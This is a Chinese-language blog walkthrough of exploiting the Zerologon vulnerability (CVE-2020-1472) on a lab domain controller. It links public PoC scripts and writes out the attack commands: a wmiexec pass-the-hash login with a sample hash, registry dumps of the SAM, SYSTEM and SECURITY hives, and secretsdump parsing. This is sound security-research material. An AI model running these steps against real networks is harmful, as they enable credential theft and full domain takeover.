CVE-2020-1472相关杂谈
CVE-2020-1472是微软八月修复的一个严重的权限提升漏洞(并于昨天2020年9月15日secura发布了相关的漏洞细节,随后相关exp被构造发布),通过Netlogon 远程协议 (MS-NRPC) 建立与域控制器连接安全通道时,存在特权提升的利用点,该漏洞的CVSS分高达10分,攻击者只需要在内网中有一个立足点,就可以远程获取域控的管理员权限。
漏洞的原理这里不在赘述,secura的pdf分析得很好,简单来说就是Netlogon使用的AES认证算法中的vi向量默认为0,导致攻击者可以绕过认证,同时其设置域控密码的远程接口也使用了该函数,导致可以将域控中保存在AD中的管理员password设置为空,这里主要说一下整个利用的过程,主要来说为以下几步。
- 通过漏洞脚本置空域控保存在AD中的密码
- 通过secretsdump.py获取域控上的用户hash
- 通过该hash使用wmiexec.py登录域控获取一个shell
- 通过shell获取本地保存的原hash key
- 通过获取的hash key恢复置空的域控密码
首先配置好一个测试域控,攻击机上需要python3.7以上,同时安装impacket,impacket需要安装最新版(v0.0.22.dev1),该版本中更新了函数NetrServerPasswordSet2,这个函数会在利用中使用,impacket提供了利用脚本需要使用的库,同时其中包含的secretsdump.py/wmiexec.py脚本分别用于密钥的dump还原操作及开启一个shell,这里主要使用以下两个poc,其中利用置空脚本使用dirkjanm提供的(dirkjanm也提供了相关的置空还原脚本但是我没有成功),而恢复密钥则使用risksense提供的版本。
https://github.com/dirkjanm/CVE-2020-1472
https://github.com/risksense/zerologon
首先第一步通过利用脚本将域控保存在AD的密码置空,注意该置空操作是对域控服务器有一定影响的,目前来看就是利用后重启回很慢,secura提到的dns服务受影响目前没有遇到。
用secretsdump.py通过Domain Replication Service (DRS)协议获取域控上相关的hash,其包括administrator hashes。
通过该hash配合wmiexec.py 完成一次pass-the-hash attack,登录该DC获取一个shell。
wmiexec.py -hashes aad3b435b51404eeaad3b435b51404ee:2b576acbe6bcfda7294d6bd18041b8fe ad.test.com/Administrator@192.168.209.129
登录效果如下,并执行以下命令,以获取本地保存的原置空hash。
reg save HKLM\SYSTEM system.save
reg save HKLM\SAM sam.save
reg save HKLM\SECURITY security.save
get system.save
get sam.save
get security.save
del /f system.save
del /f sam.save
del /f security.save
通过secretsdump解析保存在本地的nt hash,为其中解析后的$MACHINE.ACC:plain_password_hex部分。
secretsdump.py -sam sam.save -system system.save -security security.save LOCAL
最后运行risksense的恢复脚本将$MACHINE.ACC:plain_password_hex中的原来nt hash恢复,可以看到此时再用secretsdump.py尝试获取域控上的用户hash已经是失败了。
转载请注明出处
参考链接:
https://github.com/dirkjanm/CVE-2020-1472
https://github.com/risksense/zerologon
https://github.com/VoidSec/CVE-2020-1472
https://www.secura.com/blog/zero-logon